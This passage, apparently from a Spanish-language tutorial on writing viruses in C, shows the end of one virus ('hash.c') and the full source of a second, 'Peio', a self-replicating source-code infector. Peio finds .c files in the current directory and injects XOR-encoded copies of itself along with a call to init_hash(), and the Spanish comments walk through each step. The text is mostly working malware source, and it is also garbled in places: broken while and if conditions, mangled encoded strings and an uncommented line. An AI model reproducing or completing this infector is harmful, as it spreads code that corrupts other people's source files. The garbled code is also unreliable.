bhole += 3;

//se almacena en ehole la cantidad de numeros de caracteres a la cadena que estamos apuntando expresada por parametros en la funcion strlen

ehole = strlen(hashend);

memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);

msync(ptr, size+page, MS\_SYNC);

//borra ubicaciones

munmap(ptr, size+page);

//hacen que el archivo normal denominado por ruta o referenciado por fd se trunque a un tamaño de bytes de longitud precisa

//Si el archivo anterior era más grande que este tamaño, los datos adicionales se pierden. Si el archivo anteriormente era más corto,

//se extiende y la parte extendida se lee como bytes nulos('\ 0')

ftruncate(fd, size+ihole+thole+bhole+ehole);

}

//en caso de que no se cumpla el if

else

{

//borrara las ubicaciones

munmap(ptr, size);

}

}

}

<--------------------->

<---- end of hash.c--->

<-------------------->

**Tercer virus en C**

<---------------->

<-----peio.c----->

<---------------->

/\*

\* Peio,

\*

\* source code infector XORing hashes.

\* zert <zert@int80h.net>

\*

\*/

#include <stdio.h>

#include <sys/stat.h>

#include <sys/mman.h>

#include <unistd.h>

#include <dirent.h>

#include <fcntl.h>

void init\_hash();

int main(int argc, char \*argv[])

{

init\_hash();

}

void init\_hash()

{

//variables de tipo entero

int i, j, fd, size, mpos, ipos, page,

ihole, thole, bhole, ehole;

//variables que representan una estructura

struct dirent \*dir;

//variable de tipo DIR

DIR \*d;

//de tipo void

void \*ptr;

//array de tipo char que almacenan una cadena de string escrito en XOR o cifrado en XOR

char hashinc[] = "?£éîãìõäå 1/4óôäéï(r)è3/4?£éîãìõäå 1/4óùó¯óôáô(r)è3/4?£éîãìõäå 1/4óùó¯ííáî(r)è3/4?£éîãìõäå 1/4õîéóôä(r)è3/4?£éîãìõäå 1/4äéòåîô(r)è3/4?£éîãìõäå 1/4æãîôì(r)è3/4??öïéä éîéôßèáóèš(c)" ?";

char hashbeg[] = "?öïéä éîéôßèáóèš(c)?û??éîô é¬ ê¬ æä¬ óéúå¬ íðïó¬ éðïó¬ ðáçå¬ ??éèïìå¬ ôèïìå¬ âèïìå¬ åèïìå" óôòõãô äéòåîô ªäéò" ÄÉÒ ªä"??öïéä ªðôò"??ãèáò èáóèéîãÛÝ 1/2 ¢";

char hashend[] = "?ãèáò ªâõæ"???ä 1/2 ïðåîäéòš¢(r)¢(c)"??÷èéìåššäéò 1/2 òåáääéòšä(c)(c)3/4°(c)???éæš¡šóôòãíðšäéò­3/4äßîáíå"óôòìåîšäéò­3/4äßîáíå(c)­²¬¢(r)ã¢(c)(c)üü??? ¡šóôòãíðšäéò­3/4äßîáíå"óôòìåîšäéò­3/4äßîáíå(c)­²¬¢(r)Ã¢(c)(c)(c) ????éæššæä1/2ïðåîšäéò­3/4äßîáíå¬ ÏßÒÄ×Ò¬ °(c)(c)3/41/2°(c)????û?????óéúå 1/2 ìóååëšæä¬ °¬ ÓÅÅËßÅÎÄ(c)"?????ðôò 1/2 ííáðšÎÕÌÌ¬óéúå¬ÐÒÏÔßÒÅÁÄ¬ÍÁÐßÐÒÉÖÁÔÅ¬æä¬°(c)"?????éæš š¡óôòóôòšðôò¬¢éîéôßèáóè¢(c)(c) ŠŠ????? š ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîíáéîš¢(c)(c)3/4°(c) üü????? ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîéîô íáéîš¢(c)(c)3/4°(c) üü????? ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîöïéä íáéîš¢(c)(c)3/4°(c) üü ????? ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîíáéî š¢(c)(c)3/4°(c) üü????? ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîéîô íáéî š¢(c)(c)3/4°(c) üü????? ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîöïéä íáéî š¢(c)(c)3/4°(c) (c) (c)?????û??????íðïó 1/2 šéîô(c)óôòóôòššöïéä ª(c)íðïó¬ ¢"Üî¢(c)"??????íðïó ­1/2 šéîô(c)­­ðôò"??????éæš ¡šéðïó 1/2 šéîô(c)óôòóôòš""ðôò¬ ¢£éîãìõäå 1/4¢(c)(c) (c)??????û???????íõîíáðšðôò¬ óéúå(c)"???????âòåáë"??????ý??????íõîíáðšðôò¬ óéúå(c)"??????ðáçå 1/2 ³ ª šéîô(c)óùóãïîæšßÓÃßÐÁÇÅÓÉÚÅ(c)"??????æôòõîãáôåšæä¬ óéúå"ðáçå(c)"??????ðôò 1/2 ííáðšÎÕÌÌ¬óéúå"ðáçå¬ÐÒÏÔßÒÅÁÄ"ÐÒÏÔß×ÒÉÔÅ¬ÍÁÐßÓÈÁÒÅÄ¬æä¬°(c)"??????éðïó 1/2 šéîô(c)óôòóôòšðôò¬ ¢£éîãìõäå 1/4¢(c)"??????éðïó 1/2 šéîô(c)óôòóôòššöïéä ª(c)éðïó¬ ¢ÜîÜî¢(c)"??????éðïó ­1/2 šéîô(c)ðôò"??????æïòšé1/2°"é1/4óôòìåîšèáóèéîã(c)"é""(c)???????èáóèéîãÛéÝ Þ1/2 °øž°"??????æïòšé1/2°"é1/4óôòìåîšèáóèâåç(c)"é""(c)???????èáóèâåçÛéÝ Þ1/2 °øž°"??????éèïìå 1/2 óôòìåîšèáóèéîã(c)"??????æïòšé1/2šóéúå­éðïó(c)¯éèïìå"é3/41/2°"é­­(c) ???????íåíãðùšðôò"éðïó"éªéèïìå"éèïìå¬ ðôò"éðïó"éªéèïìå¬ éèïìå(c)"??????íåíãðùšðôò"éðïó¬ èáóèéîã¬ éèïìå(c)"??????æïòšé1/2°"é1/4óôòìåîšèáóèéîã(c)"é""(c)???????èáóèéîãÛéÝ Þ1/2 °øž°"??????íðïó "1/2 éèïìå"??????âõæ 1/2 šãèáò ª(c)íáììïãš²°ªóéúåïæšãèáò(c)(c)"??????óôòãðùšâõæ¬¢ÜîÜôéîéôßèáóèš(c)"¢(c)"??????ôèïìå 1/2 óôòìåîšâõæ(c)"??????æïòšé1/2šóéúå"éèïìå­íðïó(c)¯ôèïìå"é3/41/2°"é­­(c) ???????íåíãðùšðôò"íðïó"éªôèïìå"ôèïìå¬ ðôò"íðïó"éªôèïìå¬ ôèïìå(c)"??????íåíãðùšðôò"íðïó¬ âõæ¬ ôèïìå(c)"??????âèïìå 1/2 óôòìåîšèáóèâåç(c)"??????íåíãðùšðôò"óéúå"éèïìå"ôèïìå¬ èáóèâåç¬ âèïìå(c)"??????íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèéîã¬ éèïìå(c)"??????âèïìå "1/2 éèïìå"??????óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"ÜîÜôãèáò èáóèâåçÛÝ 1/2 Ü¢¢(c)"??????âèïìå "1/2 ²²"??????æïòšé1/2°"é1/4óôòìåîšèáóèâåç(c)"é""(c)???????èáóèâåçÛéÝ Þ1/2 °øž°"??????íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèâåç¬ óôòìåîšèáóèâåç(c)(c)"??????âèïìå "1/2 óôòìåîšèáóèâåç(c)"??????óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"ÜîÜôãèáò èáóèåîäÛÝ 1/2 Ü¢¢(c)"??????âèïìå "1/2 ²²"??????íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèåîä¬ óôòìåîšèáóèåîä(c)(c)"??????âèïìå "1/2 óôòìåîšèáóèåîä(c)"??????óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"Üî¢(c)"??????âèïìå "1/2 ³"??????æïòšé1/2°"é1/4óôòìåîšèáóèåîä(c)"é""(c)???????èáóèåîäÛéÝ Þ1/2 °øž°"??????åèïìå 1/2 óôòìåîšèáóèåîä(c)"??????íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèåîä¬ åèïìå(c)"??????íóùîãšðôò¬ óéúå"ðáçå¬ ÍÓßÓÙÎÃ(c)"??????íõîíáðšðôò¬ óéúå"ðáçå(c)"??????æôòõîãáôåšæä¬ óéúå"éèïìå"ôèïìå"âèïìå"åèïìå(c)"?????ý åìóå?????û??????íõîíáðšðôò¬ óéúå(c)"?????ý????ý?ý?";

//de tipo char

char \*buf;

//almacenamos en la variable d de tipo DIR el fichero que queremos abrir y el puntero se posicionara en la primera entrada al directorio

d = opendir("."); //si es mayor a 0 es que se encuentra un archivo ya que si no daria un numero negativo

while dd >0)

//evaluamos con un if si la funcion strmcp retorna un numero entero mayor menor o igual que cero es decir compara cadena de caracteres hasta llegar al caracter situado

//en la ultima posicion si las cadenas son iguales devuelve 0 si es mayor un numero positivo, menor numero negativo

//la funcion strlen calcula el numero de caracteres de la cadena apuntada y comprobamos que sea un fichero .c o .C

if(!(strcmp(dir->d\_name+strlen(dir->d\_name)-2,".c"))||

!(strcmp(dir->d\_name+strlen(dir->d\_name)-2,".C")))

if>=0)

{

//proceso de infeccion

//almacenamos en la variable size de tipo entero la posicion donde queremos posicionarnos en el fichero con la constante SEEK\_END se refiere a posicionar

//el puntero al final del fichero

size = lseek(fd, 0, SEEK\_END);

//almacenamos en la variable ptr de tipo void(no devuelve nada) lo que devuelve la funcion mmap que es ubicar la longitud de bytes comnezando donde

//queremos posicionarnos desde el fichero el primer parametro es nulo la variable size es la posicion donde queremos ubicarnos en el fichero, PROT\_READ

//es la constante que indica que las paginas deben ser leidas , la otra constantes MAP\_PRIVATE Crear un área privada copy-on-write(copiar o escribir). Almacenar en la región no afecta al

// fichero original.Es indefinido si los cambios hechos al fichero despues de la llamada a mmap son visibles en la region mapeada.

ptr = mmap(NULL,size,PROT\_READ,MAP\_PRIVATE,fd,0);

if( (!strstr(ptr,"init\_hash")) &&( >0) ||>0) ||>0) ||>0) ||>0) ||>0) ) )

{

//se almacena en la variable mpos de tipo entero haceindo un casting pasandolo a entero, lo que devulve la funcion strstr que busca en la cadena mpos

//que se pasa a void y si dentro de esata se encuntra la cadena representada en comillas que es ";\n"

//la funcion mmap que devuelve un puntero al area reservada

mpos = (int)strstr((void \*)mpos, ";\n");

mpos -= (int)--ptr;

//si se cumple la condicion entrara en el condicional si en ptr se encuntra la biblioteca include y el signo invierte se refiere a que si es distinto

if( !(ipos = (int)strstr(++ptr, "#include <")) )

{

//borra las ubicaciones

munmap(ptr, size);

//pausa

break;

}

//borra las ubicaciones

munmap(ptr, size);

//sysconf() proporciona una forma de que la aplicacion determine ciertos valores para limites del sistema u opciones, en tiempo de ejecucion

//lo que recibe por parametro una constante que signfica el tamaño de la pagina en bytes y se multiplica por tres y se almacena en la variable page de tipo int

page = 3 \* (int)sysconf(\_SC\_PAGESIZE);

//La función ftruncate () hace que el archivo normal al que hacen referencia tenga un tamaño de bytes de longitud

//por parametro recibe el archibo que teneos abierto mas la suma de size que es la posicion del puntero en el archivo y page que es el tamaño de la pagina en bytes

ftruncate(fd, size+page);

//se almacena en ptr lo que devulve la funcion mmap que es un puntero al area reservada que especificamos con los parametros

ptr = mmap(NULL,size+page,PROT\_READ+PROT\_WRITE,MAP\_SHARED,fd,0);

//se almacena si se encuentra con la funcion strstr la cadena include

ipos = (int)strstr(ptr, "#include <");

//si se encuentra \n\n se almacenara en ipos en caso contrario devolvera null

ipos = (int)strstr((void \*)ipos, "\n\n");

ipos -= (int)ptr;

//cilco for que va de 0 a la cantidad de numeros de caracteres que tenga la cadena que se apunta por parametros (esta cifrado en XOR)

for(i=0;i<strlen(hashinc);i++)

//a cada vuelta de bucle se almacenara el valor que tenga el array mas la exponenciacion de 0x80(XOR)

hashinc[i] ^= 0x80;

for(i=0;i<strlen(hashbeg);i++)

hashbeg[i] ^= 0x80;

ihole = strlen(hashinc);

//el ciclo for ira decrementando de el resultado de la resta de size y ipos dividido por ihole hasta meyor o igual a 0 (cantidad de bytes)

for(i=(size-ipos)/ihole;i>=0;i--)

//la funcion memcpy copia la cantidad de bytes origen a destino el origen es el primer parametro el segundo separado por una coma es el destino y el tercero

//el tamaño (cantidad de caracteres almacenado del array hashinc)

memcpy(ptr+ipos+i\*ihole+ihole, ptr+ipos+i\*ihole, ihole);

memcpy(ptr+ipos, hashinc, ihole);

//cilco for

for(i=0;i<strlen(hashinc);i++)

//se almacena en el array la exponenciacion de la exprecion en XOR

hashinc[i] ^= 0x80;

//acumulador

mpos += ihole;

//se almacena despues de hacer el casting la cantidad de memoria a asignar a bytes

buf = (char \*)malloc(20\*sizeof(char));

//copia la variable de destino bbuff la cadena de string especificado por segundo parametro

strcpy(buf,"\n\tinit\_hash();");

en la variable thole se almacena la cantidad de numeros de caracteres de buf

thole = strlen(buf);

//ciclo for

for(i=(size+ihole-mpos)/thole;i>=0;i--)

//copia de bytes origen a destino

memcpy(ptr+mpos+i\*thole+thole, ptr+mpos+i\*thole, thole);

memcpy(ptr+mpos, buf, thole);

//se almacena la cantidad de caracteres de lo que devuelve la funcion strleng

bhole = strlen(hashbeg);

//copia bytes de origen a destino

memcpy(ptr+size+ihole+thole, hashbeg, bhole);

memcpy(ptr+size+ihole+thole+bhole, hashinc, ihole);

bhole += ihole;

//retorna la cantidad de caracteres

//crea cadena de texto primer parametro cadena de destino

sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] = \"");

//lo que se encuntra en la variable y le sumamos 22 bytes mas

bhole += 22;

//cilco for

for(i=0;i<strlen(hashbeg);i++)

hashbeg[i] ^= 0x80;

memcpy(ptr+size+ihole+thole+bhole, hashbeg, strlen(hashbeg));

bhole += strlen(hashbeg);

sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] = \"");

bhole += 22;

memcpy(ptr+size+ihole+thole+bhole, hashend, strlen(hashend));

bhole += strlen(hashend);

sprintf(ptr+size+ihole+thole+bhole, "\";\n");

bhole += 3;

for(i=0;i<strlen(hashend);i++)

hashend[i] ^= 0x80;

ehole = strlen(hashend);

//infectamos igual que las otras mismas funciones

memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);

msync(ptr, size+page, MS\_SYNC);

//borramos ubicacion

munmap(ptr, size+page);

//hacen que el archivo normal denominado por ruta o referenciado por fd se trunque a un tamaño de bytes de longitud precisa

//Si el archivo anterior era más grande que este tamaño, los datos adicionales se pierden. Si el archivo anteriormente era más corto,

//se extiende y la parte extendida se lee como bytes nulos ('\ 0')

ftruncate(fd, size+ihole+thole+bhole+ehole);

} else

{

//borra las ubicaciones

munmap(ptr, size);

}

}

}

<----------------->

<--end of-peio.c-->

<----------------->